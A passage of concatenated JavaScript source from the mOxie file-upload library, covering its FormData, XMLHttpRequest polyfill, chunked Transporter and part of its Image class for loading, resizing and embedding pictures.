for the new field @param {String|Blob|Array|Object} value Value for the field */ append: function(name, value) { var self = this, valueType = Basic.typeOf(value); // according to specs value might be either Blob or String if (value instanceof Blob) { _blob = { name: name, value: value // unfortunately we can only send single Blob in one FormData }; } else if ('array' === valueType) { name += '[]'; Basic.each(value, function(value) { self.append(name, value); }); } else if ('object' === valueType) { Basic.each(value, function(value, key) { self.append(name + '[' + key + ']', value); }); } else if ('null' === valueType || 'undefined' === valueType || 'number' === valueType && isNaN(value)) { self.append(name, "false"); } else { _fields.push({ name: name, value: value.toString() }); } }, /** Checks if FormData contains Blob. @method hasBlob @return {Boolean} */ hasBlob: function() { return !!this.getBlob(); }, /** Retrieves blob. @method getBlob @return {Object} Either Blob if found or null */ getBlob: function() { return _blob && _blob.value || null; }, /** Retrieves blob field name. @method getBlobName @return {String} Either Blob field name or null */ getBlobName: function() { return _blob && _blob.name || null; }, /** Loop over the fields in FormData and invoke the callback for each of them. @method each @param {Function} cb Callback to call for each field */ each: function(cb) { Basic.each(_fields, function(field) { cb(field.value, field.name); }); if (_blob) { cb(_blob.value, _blob.name); } }, destroy: function() { _blob = null; _fields = []; } }); } return FormData; }); // Included from: src/javascript/xhr/XMLHttpRequest.js /** * XMLHttpRequest.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/xhr/XMLHttpRequest", [ "moxie/core/utils/Basic", "moxie/core/Exceptions", "moxie/core/EventTarget", "moxie/core/utils/Encode", "moxie/core/utils/Url", "moxie/runtime/Runtime", "moxie/runtime/RuntimeTarget", "moxie/file/Blob", "moxie/file/FileReaderSync", "moxie/xhr/FormData", "moxie/core/utils/Env", "moxie/core/utils/Mime" ], function(Basic, x, EventTarget, Encode, Url, Runtime, RuntimeTarget, Blob, FileReaderSync, FormData, Env, Mime) { var httpCode = { 100: 'Continue', 101: 'Switching Protocols', 102: 'Processing', 200: 'OK', 201: 'Created', 202: 'Accepted', 203: 'Non-Authoritative Information', 204: 'No Content', 205: 'Reset Content', 206: 'Partial Content', 207: 'Multi-Status', 226: 'IM Used', 300: 'Multiple Choices', 301: 'Moved Permanently', 302: 'Found', 303: 'See Other', 304: 'Not Modified', 305: 'Use Proxy', 306: 'Reserved', 307: 'Temporary Redirect', 400: 'Bad Request', 401: 'Unauthorized', 402: 'Payment Required', 403: 'Forbidden', 404: 'Not Found', 405: 'Method Not Allowed', 406: 'Not Acceptable', 407: 'Proxy Authentication Required', 408: 'Request Timeout', 409: 'Conflict', 410: 'Gone', 411: 'Length Required', 412: 'Precondition Failed', 413: 'Request Entity Too Large', 414: 'Request-URI Too Long', 415: 'Unsupported Media Type', 416: 'Requested Range Not Satisfiable', 417: 'Expectation Failed', 422: 'Unprocessable Entity', 423: 'Locked', 424: 'Failed Dependency', 426: 'Upgrade Required', 500: 'Internal Server Error', 501: 'Not Implemented', 502: 'Bad Gateway', 503: 'Service Unavailable', 504: 'Gateway Timeout', 505: 'HTTP Version Not Supported', 506: 'Variant Also Negotiates', 507: 'Insufficient Storage', 510: 'Not Extended' }; function XMLHttpRequestUpload() { this.uid = Basic.guid('uid_'); } XMLHttpRequestUpload.prototype = EventTarget.instance; /** Implementation of XMLHttpRequest @class XMLHttpRequest @constructor @uses RuntimeClient @extends EventTarget */ var dispatches = [ 'loadstart', 'progress', 'abort', 'error', 'load', 'timeout', 'loadend' // readystatechange (for historical reasons) ]; var NATIVE = 1, RUNTIME = 2; function XMLHttpRequest() { var self = this, // this (together with _p() @see below) is here to gracefully upgrade to setter/getter syntax where possible props = { /** The amount of milliseconds a request can take before being terminated. Initially zero. Zero means there is no timeout. @property timeout @type Number @default 0 */ timeout: 0, /** Current state, can take following values: UNSENT (numeric value 0) The object has been constructed. OPENED (numeric value 1) The open() method has been successfully invoked. During this state request headers can be set using setRequestHeader() and the request can be made using the send() method. HEADERS_RECEIVED (numeric value 2) All redirects (if any) have been followed and all HTTP headers of the final response have been received. Several response members of the object are now available. LOADING (numeric value 3) The response entity body is being received. DONE (numeric value 4) @property readyState @type Number @default 0 (UNSENT) */ readyState: XMLHttpRequest.UNSENT, /** True when user credentials are to be included in a cross-origin request. False when they are to be excluded in a cross-origin request and when cookies are to be ignored in its response. Initially false. @property withCredentials @type Boolean @default false */ withCredentials: false, /** Returns the HTTP status code. @property status @type Number @default 0 */ status: 0, /** Returns the HTTP status text. @property statusText @type String */ statusText: "", /** Returns the response type. Can be set to change the response type. Values are: the empty string (default), "arraybuffer", "blob", "document", "json", and "text". @property responseType @type String */ responseType: "", /** Returns the document response entity body. Throws an "InvalidStateError" exception if responseType is not the empty string or "document". @property responseXML @type Document */ responseXML: null, /** Returns the text response entity body. Throws an "InvalidStateError" exception if responseType is not the empty string or "text". @property responseText @type String */ responseText: null, /** Returns the response entity body (http://www.w3.org/TR/XMLHttpRequest/#response-entity-body). Can become: ArrayBuffer, Blob, Document, JSON, Text @property response @type Mixed */ response: null }, _async = true, _url, _method, _headers = {}, _user, _password, _encoding = null, _mimeType = null, // flags _sync_flag = false, _send_flag = false, _upload_events_flag = false, _upload_complete_flag = false, _error_flag = false, _same_origin_flag = false, // times _start_time, _timeoutset_time, _finalMime = null, _finalCharset = null, _options = {}, _xhr, _responseHeaders = '', _responseHeadersBag ; Basic.extend(this, props, { /** Unique id of the component @property uid @type String */ uid: Basic.guid('uid_'), /** Target for Upload events @property upload @type XMLHttpRequestUpload */ upload: new XMLHttpRequestUpload(), /** Sets the request method, request URL, synchronous flag, request username, and request password. Throws a "SyntaxError" exception if one of the following is true: method is not a valid HTTP method. url cannot be resolved. url contains the "user:password" format in the userinfo production. Throws a "SecurityError" exception if method is a case-insensitive match for CONNECT, TRACE or TRACK. Throws an "InvalidAccessError" exception if one of the following is true: Either user or password is passed as argument and the origin of url does not match the XMLHttpRequest origin. There is an associated XMLHttpRequest document and either the timeout attribute is not zero, the withCredentials attribute is true, or the responseType attribute is not the empty string. @method open @param {String} method HTTP method to use on request @param {String} url URL to request @param {Boolean} [async=true] If false request will be done in synchronous manner. Asynchronous by default. @param {String} [user] Username to use in HTTP authentication process on server-side @param {String} [password] Password to use in HTTP authentication process on server-side */ open: function(method, url, async, user, password) { var urlp; // first two arguments are required if (!method || !url) { throw new x.DOMException(x.DOMException.SYNTAX_ERR); } // 2 - check if any code point in method is higher than U+00FF or after deflating method it does not match the method if (/[\u0100-\uffff]/.test(method) || Encode.utf8_encode(method) !== method) { throw new x.DOMException(x.DOMException.SYNTAX_ERR); } // 3 if (!!~Basic.inArray(method.toUpperCase(), ['CONNECT', 'DELETE', 'GET', 'HEAD', 'OPTIONS', 'POST', 'PUT', 'TRACE', 'TRACK'])) { _method = method.toUpperCase(); } // 4 - allowing these methods poses a security risk if (!!~Basic.inArray(_method, ['CONNECT', 'TRACE', 'TRACK'])) { throw new x.DOMException(x.DOMException.SECURITY_ERR); } // 5 url = Encode.utf8_encode(url); // 6 - Resolve url relative to the XMLHttpRequest base URL. If the algorithm returns an error, throw a "SyntaxError". urlp = Url.parseUrl(url); _same_origin_flag = Url.hasSameOrigin(urlp); // 7 - manually build up absolute url _url = Url.resolveUrl(url); // 9-10, 12-13 if ((user || password) && !_same_origin_flag) { throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR); } _user = user || urlp.user; _password = password || urlp.pass; // 11 _async = async || true; if (_async === false && (_p('timeout') || _p('withCredentials') || _p('responseType') !== "")) { throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR); } // 14 - terminate abort() // 15 - terminate send() // 18 _sync_flag = !_async; _send_flag = false; _headers = {}; _reset.call(this); // 19 _p('readyState', XMLHttpRequest.OPENED); // 20 this.dispatchEvent('readystatechange'); }, /** Appends an header to the list of author request headers, or if header is already in the list of author request headers, combines its value with value. Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set. Throws a "SyntaxError" exception if header is not a valid HTTP header field name or if value is not a valid HTTP header field value. @method setRequestHeader @param {String} header @param {String|Number} value */ setRequestHeader: function(header, value) { var uaHeaders = [ // these headers are controlled by the user agent "accept-charset", "accept-encoding", "access-control-request-headers", "access-control-request-method", "connection", "content-length", "cookie", "cookie2", "content-transfer-encoding", "date", "expect", "host", "keep-alive", "origin", "referer", "te", "trailer", "transfer-encoding", "upgrade", "user-agent", "via" ]; // 1-2 if (_p('readyState') !== XMLHttpRequest.OPENED || _send_flag) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 3 if (/[\u0100-\uffff]/.test(header) || Encode.utf8_encode(header) !== header) { throw new x.DOMException(x.DOMException.SYNTAX_ERR); } // 4 /* this step is seemingly bypassed in browsers, probably to allow various unicode characters in header values if (/[\u0100-\uffff]/.test(value) || Encode.utf8_encode(value) !== value) { throw new x.DOMException(x.DOMException.SYNTAX_ERR); }*/ header = Basic.trim(header).toLowerCase(); // setting of proxy-* and sec-* headers is prohibited by spec if (!!~Basic.inArray(header, uaHeaders) || /^(proxy\-|sec\-)/.test(header)) { return false; } // camelize // browsers lowercase header names (at least for custom ones) // header = header.replace(/\b\w/g, function($1) { return $1.toUpperCase(); }); if (!_headers[header]) { _headers[header] = value; } else { // http://tools.ietf.org/html/rfc2616#section-4.2 (last paragraph) _headers[header] += ', ' + value; } return true; }, /** Returns all headers from the response, with the exception of those whose field name is Set-Cookie or Set-Cookie2. @method getAllResponseHeaders @return {String} reponse headers or empty string */ getAllResponseHeaders: function() { return _responseHeaders || ''; }, /** Returns the header field value from the response of which the field name matches header, unless the field name is Set-Cookie or Set-Cookie2. @method getResponseHeader @param {String} header @return {String} value(s) for the specified header or null */ getResponseHeader: function(header) { header = header.toLowerCase(); if (_error_flag || !!~Basic.inArray(header, ['set-cookie', 'set-cookie2'])) { return null; } if (_responseHeaders && _responseHeaders !== '') { // if we didn't parse response headers until now, do it and keep for later if (!_responseHeadersBag) { _responseHeadersBag = {}; Basic.each(_responseHeaders.split(/\r\n/), function(line) { var pair = line.split(/:\s+/); if (pair.length === 2) { // last line might be empty, omit pair[0] = Basic.trim(pair[0]); // just in case _responseHeadersBag[pair[0].toLowerCase()] = { // simply to retain header name in original form header: pair[0], value: Basic.trim(pair[1]) }; } }); } if (_responseHeadersBag.hasOwnProperty(header)) { return _responseHeadersBag[header].header + ': ' + _responseHeadersBag[header].value; } } return null; }, /** Sets the Content-Type header for the response to mime. Throws an "InvalidStateError" exception if the state is LOADING or DONE. Throws a "SyntaxError" exception if mime is not a valid media type. @method overrideMimeType @param String mime Mime type to set */ overrideMimeType: function(mime) { var matches, charset; // 1 if (!!~Basic.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 2 mime = Basic.trim(mime.toLowerCase()); if (/;/.test(mime) && (matches = mime.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))) { mime = matches[1]; if (matches[2]) { charset = matches[2]; } } if (!Mime.mimes[mime]) { throw new x.DOMException(x.DOMException.SYNTAX_ERR); } // 3-4 _finalMime = mime; _finalCharset = charset; }, /** Initiates the request. The optional argument provides the request entity body. The argument is ignored if request method is GET or HEAD. Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set. @method send @param {Blob|Document|String|FormData} [data] Request entity body @param {Object} [options] Set of requirements and pre-requisities for runtime initialization */ send: function(data, options) { if (Basic.typeOf(options) === 'string') { _options = { ruid: options }; } else if (!options) { _options = {}; } else { _options = options; } // 1-2 if (this.readyState !== XMLHttpRequest.OPENED || _send_flag) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 3 // sending Blob if (data instanceof Blob) { _options.ruid = data.ruid; _mimeType = data.type || 'application/octet-stream'; } // FormData else if (data instanceof FormData) { if (data.hasBlob()) { var blob = data.getBlob(); _options.ruid = blob.ruid; _mimeType = blob.type || 'application/octet-stream'; } } // DOMString else if (typeof data === 'string') { _encoding = 'UTF-8'; _mimeType = 'text/plain;charset=UTF-8'; // data should be converted to Unicode and encoded as UTF-8 data = Encode.utf8_encode(data); } // if withCredentials not set, but requested, set it automatically if (!this.withCredentials) { this.withCredentials = (_options.required_caps && _options.required_caps.send_browser_cookies) && !_same_origin_flag; } // 4 - storage mutex // 5 _upload_events_flag = (!_sync_flag && this.upload.hasEventListener()); // DSAP // 6 _error_flag = false; // 7 _upload_complete_flag = !data; // 8 - Asynchronous steps if (!_sync_flag) { // 8.1 _send_flag = true; // 8.2 // this.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr // 8.3 //if (!_upload_complete_flag) { // this.upload.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr //} } // 8.5 - Return the send() method call, but continue running the steps in this algorithm. _doXHR.call(this, data); }, /** Cancels any network activity. @method abort */ abort: function() { _error_flag = true; _sync_flag = false; if (!~Basic.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED, XMLHttpRequest.DONE])) { _p('readyState', XMLHttpRequest.DONE); _send_flag = false; if (_xhr) { _xhr.getRuntime().exec.call(_xhr, 'XMLHttpRequest', 'abort', _upload_complete_flag); } else { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } _upload_complete_flag = true; } else { _p('readyState', XMLHttpRequest.UNSENT); } }, destroy: function() { if (_xhr) { if (Basic.typeOf(_xhr.destroy) === 'function') { _xhr.destroy(); } _xhr = null; } this.unbindAll(); if (this.upload) { this.upload.unbindAll(); this.upload = null; } } }); this.handleEventProps(dispatches.concat(['readystatechange'])); // for historical reasons this.upload.handleEventProps(dispatches); /* this is nice, but maybe too lengthy // if supported by JS version, set getters/setters for specific properties o.defineProperty(this, 'readyState', { configurable: false, get: function() { return _p('readyState'); } }); o.defineProperty(this, 'timeout', { configurable: false, get: function() { return _p('timeout'); }, set: function(value) { if (_sync_flag) { throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR); } // timeout still should be measured relative to the start time of request _timeoutset_time = (new Date).getTime(); _p('timeout', value); } }); // the withCredentials attribute has no effect when fetching same-origin resources o.defineProperty(this, 'withCredentials', { configurable: false, get: function() { return _p('withCredentials'); }, set: function(value) { // 1-2 if (!~o.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED]) || _send_flag) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 3-4 if (_anonymous_flag || _sync_flag) { throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR); } // 5 _p('withCredentials', value); } }); o.defineProperty(this, 'status', { configurable: false, get: function() { return _p('status'); } }); o.defineProperty(this, 'statusText', { configurable: false, get: function() { return _p('statusText'); } }); o.defineProperty(this, 'responseType', { configurable: false, get: function() { return _p('responseType'); }, set: function(value) { // 1 if (!!~o.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 2 if (_sync_flag) { throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR); } // 3 _p('responseType', value.toLowerCase()); } }); o.defineProperty(this, 'responseText', { configurable: false, get: function() { // 1 if (!~o.inArray(_p('responseType'), ['', 'text'])) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 2-3 if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } return _p('responseText'); } }); o.defineProperty(this, 'responseXML', { configurable: false, get: function() { // 1 if (!~o.inArray(_p('responseType'), ['', 'document'])) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // 2-3 if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } return _p('responseXML'); } }); o.defineProperty(this, 'response', { configurable: false, get: function() { if (!!~o.inArray(_p('responseType'), ['', 'text'])) { if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) { return ''; } } if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) { return null; } return _p('response'); } }); */ function _p(prop, value) { if (!props.hasOwnProperty(prop)) { return; } if (arguments.length === 1) { // get return Env.can('define_property') ? props[prop] : self[prop]; } else { // set if (Env.can('define_property')) { props[prop] = value; } else { self[prop] = value; } } } /* function _toASCII(str, AllowUnassigned, UseSTD3ASCIIRules) { // TODO: http://tools.ietf.org/html/rfc3490#section-4.1 return str.toLowerCase(); } */ function _doXHR(data) { var self = this; _start_time = new Date().getTime(); _xhr = new RuntimeTarget(); function loadEnd() { if (_xhr) { // it could have been destroyed by now _xhr.destroy(); _xhr = null; } self.dispatchEvent('loadend'); self = null; } function exec(runtime) { _xhr.bind('LoadStart', function(e) { _p('readyState', XMLHttpRequest.LOADING); self.dispatchEvent('readystatechange'); self.dispatchEvent(e); if (_upload_events_flag) { self.upload.dispatchEvent(e); } }); _xhr.bind('Progress', function(e) { if (_p('readyState') !== XMLHttpRequest.LOADING) { _p('readyState', XMLHttpRequest.LOADING); // LoadStart unreliable (in Flash for example) self.dispatchEvent('readystatechange'); } self.dispatchEvent(e); }); _xhr.bind('UploadProgress', function(e) { if (_upload_events_flag) { self.upload.dispatchEvent({ type: 'progress', lengthComputable: false, total: e.total, loaded: e.loaded }); } }); _xhr.bind('Load', function(e) { _p('readyState', XMLHttpRequest.DONE); _p('status', Number(runtime.exec.call(_xhr, 'XMLHttpRequest', 'getStatus') || 0)); _p('statusText', httpCode[_p('status')] || ""); _p('response', runtime.exec.call(_xhr, 'XMLHttpRequest', 'getResponse', _p('responseType'))); if (!!~Basic.inArray(_p('responseType'), ['text', ''])) { _p('responseText', _p('response')); } else if (_p('responseType') === 'document') { _p('responseXML', _p('response')); } _responseHeaders = runtime.exec.call(_xhr, 'XMLHttpRequest', 'getAllResponseHeaders'); self.dispatchEvent('readystatechange'); if (_p('status') > 0) { // status 0 usually means that server is unreachable if (_upload_events_flag) { self.upload.dispatchEvent(e); } self.dispatchEvent(e); } else { _error_flag = true; self.dispatchEvent('error'); } loadEnd(); }); _xhr.bind('Abort', function(e) { self.dispatchEvent(e); loadEnd(); }); _xhr.bind('Error', function(e) { _error_flag = true; _p('readyState', XMLHttpRequest.DONE); self.dispatchEvent('readystatechange'); _upload_complete_flag = true; self.dispatchEvent(e); loadEnd(); }); runtime.exec.call(_xhr, 'XMLHttpRequest', 'send', { url: _url, method: _method, async: _async, user: _user, password: _password, headers: _headers, mimeType: _mimeType, encoding: _encoding, responseType: self.responseType, withCredentials: self.withCredentials, options: _options }, data); } // clarify our requirements if (typeof(_options.required_caps) === 'string') { _options.required_caps = Runtime.parseCaps(_options.required_caps); } _options.required_caps = Basic.extend({}, _options.required_caps, { return_response_type: self.responseType }); if (data instanceof FormData) { _options.required_caps.send_multipart = true; } if (!Basic.isEmptyObj(_headers)) { _options.required_caps.send_custom_headers = true; } if (!_same_origin_flag) { _options.required_caps.do_cors = true; } if (_options.ruid) { // we do not need to wait if we can connect directly exec(_xhr.connectRuntime(_options)); } else { _xhr.bind('RuntimeInit', function(e, runtime) { exec(runtime); }); _xhr.bind('RuntimeError', function(e, err) { self.dispatchEvent('RuntimeError', err); }); _xhr.connectRuntime(_options); } } function _reset() { _p('responseText', ""); _p('responseXML', null); _p('response', null); _p('status', 0); _p('statusText', ""); _start_time = _timeoutset_time = null; } } XMLHttpRequest.UNSENT = 0; XMLHttpRequest.OPENED = 1; XMLHttpRequest.HEADERS_RECEIVED = 2; XMLHttpRequest.LOADING = 3; XMLHttpRequest.DONE = 4; XMLHttpRequest.prototype = EventTarget.instance; return XMLHttpRequest; }); // Included from: src/javascript/runtime/Transporter.js /** * Transporter.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/runtime/Transporter", [ "moxie/core/utils/Basic", "moxie/core/utils/Encode", "moxie/runtime/RuntimeClient", "moxie/core/EventTarget" ], function(Basic, Encode, RuntimeClient, EventTarget) { function Transporter() { var mod, _runtime, _data, _size, _pos, _chunk_size; RuntimeClient.call(this); Basic.extend(this, { uid: Basic.guid('uid_'), state: Transporter.IDLE, result: null, transport: function(data, type, options) { var self = this; options = Basic.extend({ chunk_size: 204798 }, options); // should divide by three, base64 requires this if ((mod = options.chunk_size % 3)) { options.chunk_size += 3 - mod; } _chunk_size = options.chunk_size; _reset.call(this); _data = data; _size = data.length; if (Basic.typeOf(options) === 'string' || options.ruid) { _run.call(self, type, this.connectRuntime(options)); } else { // we require this to run only once var cb = function(e, runtime) { self.unbind("RuntimeInit", cb); _run.call(self, type, runtime); }; this.bind("RuntimeInit", cb); this.connectRuntime(options); } }, abort: function() { var self = this; self.state = Transporter.IDLE; if (_runtime) { _runtime.exec.call(self, 'Transporter', 'clear'); self.trigger("TransportingAborted"); } _reset.call(self); }, destroy: function() { this.unbindAll(); _runtime = null; this.disconnectRuntime(); _reset.call(this); } }); function _reset() { _size = _pos = 0; _data = this.result = null; } function _run(type, runtime) { var self = this; _runtime = runtime; //self.unbind("RuntimeInit"); self.bind("TransportingProgress", function(e) { _pos = e.loaded; if (_pos < _size && Basic.inArray(self.state, [Transporter.IDLE, Transporter.DONE]) === -1) { _transport.call(self); } }, 999); self.bind("TransportingComplete", function() { _pos = _size; self.state = Transporter.DONE; _data = null; // clean a bit self.result = _runtime.exec.call(self, 'Transporter', 'getAsBlob', type || ''); }, 999); self.state = Transporter.BUSY; self.trigger("TransportingStarted"); _transport.call(self); } function _transport() { var self = this, chunk, bytesLeft = _size - _pos; if (_chunk_size > bytesLeft) { _chunk_size = bytesLeft; } chunk = Encode.btoa(_data.substr(_pos, _chunk_size)); _runtime.exec.call(self, 'Transporter', 'receive', chunk, _size); } } Transporter.IDLE = 0; Transporter.BUSY = 1; Transporter.DONE = 2; Transporter.prototype = EventTarget.instance; return Transporter; }); // Included from: src/javascript/image/Image.js /** * Image.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/image/Image", [ "moxie/core/utils/Basic", "moxie/core/utils/Dom", "moxie/core/Exceptions", "moxie/file/FileReaderSync", "moxie/xhr/XMLHttpRequest", "moxie/runtime/Runtime", "moxie/runtime/RuntimeClient", "moxie/runtime/Transporter", "moxie/core/utils/Env", "moxie/core/EventTarget", "moxie/file/Blob", "moxie/file/File", "moxie/core/utils/Encode" ], function(Basic, Dom, x, FileReaderSync, XMLHttpRequest, Runtime, RuntimeClient, Transporter, Env, EventTarget, Blob, File, Encode) { /** Image preloading and manipulation utility. Additionally it provides access to image meta info (Exif, GPS) and raw binary data. @class Image @constructor @extends EventTarget */ var dispatches = [ 'progress', /** Dispatched when loading is complete. @event load @param {Object} event */ 'load', 'error', /** Dispatched when resize operation is complete. @event resize @param {Object} event */ 'resize', /** Dispatched when visual representation of the image is successfully embedded into the corresponsing container. @event embedded @param {Object} event */ 'embedded' ]; function Image() { RuntimeClient.call(this); Basic.extend(this, { /** Unique id of the component @property uid @type {String} */ uid: Basic.guid('uid_'), /** Unique id of the connected runtime, if any. @property ruid @type {String} */ ruid: null, /** Name of the file, that was used to create an image, if available. If not equals to empty string. @property name @type {String} @default "" */ name: "", /** Size of the image in bytes. Actual value is set only after image is preloaded. @property size @type {Number} @default 0 */ size: 0, /** Width of the image. Actual value is set only after image is preloaded. @property width @type {Number} @default 0 */ width: 0, /** Height of the image. Actual value is set only after image is preloaded. @property height @type {Number} @default 0 */ height: 0, /** Mime type of the image. Currently only image/jpeg and image/png are supported. Actual value is set only after image is preloaded. @property type @type {String} @default "" */ type: "", /** Holds meta info (Exif, GPS). Is populated only for image/jpeg. Actual value is set only after image is preloaded. @property meta @type {Object} @default {} */ meta: {}, /** Alias for load method, that takes another mOxie.Image object as a source (see load). @method clone @param {Image} src Source for the image @param {Boolean} [exact=false] Whether to activate in-depth clone mode */ clone: function() { this.load.apply(this, arguments); }, /** Loads image from various sources. Currently the source for new image can be: mOxie.Image, mOxie.Blob/mOxie.File, native Blob/File, dataUrl or URL. Depending on the type of the source, arguments - differ. When source is URL, Image will be downloaded from remote destination and loaded in memory. @example var img = new mOxie.Image(); img.onload = function() { var blob = img.getAsBlob(); var formData = new mOxie.FormData(); formData.append('file', blob); var xhr = new mOxie.XMLHttpRequest(); xhr.onload = function() { // upload complete }; xhr.open('post', 'upload.php'); xhr.send(formData); }; img.load("http://www.moxiecode.com/images/mox-logo.jpg"); // notice file extension (.jpg) @method load @param {Image|Blob|File|String} src Source for the image @param {Boolean|Object} [mixed] */ load: function() { _load.apply(this, arguments); }, /** Downsizes the image to fit the specified width/height. If crop is supplied, image will be cropped to exact dimensions. @method downsize @param {Object} opts @param {Number} opts.width Resulting width @param {Number} [opts.height=width] Resulting height (optional, if not supplied will default to width) @param {Boolean} [opts.crop=false] Whether to crop the image to exact dimensions @param {Boolean} [opts.preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize) @param {String} [opts.resample=false] Resampling algorithm to use for resizing */ downsize: function(opts) { var defaults = { width: this.width, height: this.height, type: this.type || 'image/jpeg', quality: 90, crop: false, preserveHeaders: true, resample: false }; if (typeof(opts) === 'object') { opts = Basic.extend(defaults, opts); } else { // for backward compatibility opts = Basic.extend(defaults, { width: arguments[0], height: arguments[1], crop: arguments[2], preserveHeaders: arguments[3] }); } try { if (!this.size) { // only preloaded image objects can be used as source throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // no way to reliably intercept the crash due to high resolution, so we simply avoid it if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) { throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR); } this.exec('Image', 'downsize', opts.width, opts.height, opts.crop, opts.preserveHeaders); } catch(ex) { // for now simply trigger error event this.trigger('error', ex.code); } }, /** Alias for downsize(width, height, true). (see downsize) @method crop @param {Number} width Resulting width @param {Number} [height=width] Resulting height (optional, if not supplied will default to width) @param {Boolean} [preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize) */ crop: function(width, height, preserveHeaders) { this.downsize(width, height, true, preserveHeaders); }, getAsCanvas: function() { if (!Env.can('create_canvas')) { throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR); } var runtime = this.connectRuntime(this.ruid); return runtime.exec.call(this, 'Image', 'getAsCanvas'); }, /** Retrieves image in it's current state as mOxie.Blob object. Cannot be run on empty or image in progress (throws DOMException.INVALID_STATE_ERR). @method getAsBlob @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png @param {Number} [quality=90] Applicable only together with mime type image/jpeg @return {Blob} Image as Blob */ getAsBlob: function(type, quality) { if (!this.size) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } return this.exec('Image', 'getAsBlob', type || 'image/jpeg', quality || 90); }, /** Retrieves image in it's current state as dataURL string. Cannot be run on empty or image in progress (throws DOMException.INVALID_STATE_ERR). @method getAsDataURL @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png @param {Number} [quality=90] Applicable only together with mime type image/jpeg @return {String} Image as dataURL string */ getAsDataURL: function(type, quality) { if (!this.size) { throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } return this.exec('Image', 'getAsDataURL', type || 'image/jpeg', quality || 90); }, /** Retrieves image in it's current state as binary string. Cannot be run on empty or image in progress (throws DOMException.INVALID_STATE_ERR). @method getAsBinaryString @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png @param {Number} [quality=90] Applicable only together with mime type image/jpeg @return {String} Image as binary string */ getAsBinaryString: function(type, quality) { var dataUrl = this.getAsDataURL(type, quality); return Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7)); }, /** Embeds a visual representation of the image into the specified node. Depending on the runtime, it might be a canvas, an img node or a thrid party shim object (Flash or SilverLight - very rare, can be used in legacy browsers that do not have canvas or proper dataURI support). @method embed @param {DOMElement} el DOM element to insert the image object into @param {Object} [opts] @param {Number} [opts.width] The width of an embed (defaults to the image width) @param {Number} [opts.height] The height of an embed (defaults to the image height) @param {String} [type="image/jpeg"] Mime type @param {Number} [quality=90] Quality of an embed, if mime type is image/jpeg @param {Boolean} [crop=false] Whether to crop an embed to the specified dimensions */ embed: function(el, opts) { var self = this , runtime // this has to be outside of all the closures to contain proper runtime ; opts = Basic.extend({ width: this.width, height: this.height, type: this.type || 'image/jpeg', quality: 90 }, opts || {}); function render(type, quality) { var img = this; // if possible, embed a canvas element directly if (Env.can('create_canvas')) { var canvas = img.getAsCanvas(); if (canvas) { el.appendChild(canvas); canvas = null; img.destroy(); self.trigger('embedded'); return; } } var dataUrl = img.getAsDataURL(type, quality); if (!dataUrl) { throw new x.ImageError(x.ImageError.WRONG_FORMAT); } if (Env.can('use_data_uri_of', dataUrl.length)) { el.innerHTML = '<img src="' + dataUrl + '" width="' + img.width + '" height="' + img.height + '" />'; img.destroy(); self.trigger('embedded'); } else { var tr = new Transporter(); tr.bind("TransportingComplete", function() { runtime = self.connectRuntime(this.result.ruid); self.bind("Embedded", function() { // position and size properly Basic.extend(runtime.getShimContainer().style, { //position: 'relative', top: '0px', left: '0px', width: img.width + 'px', height: img.height + 'px' }); // some shims (Flash/SilverLight) reinitialize, if parent element is hidden, reordered or it's // position type changes (in Gecko), but since we basically need this only in IEs 6/7 and // sometimes 8 and they do not have this problem, we can comment this for now /*tr.bind("RuntimeInit", function(e, runtime) { tr.destroy(); runtime.destroy(); onResize.call(self); // re-feed our image data });*/ runtime = null; // release }, 999); runtime.exec.call(self, "ImageView", "display", this.result.uid, width, height); img.destroy(); }); 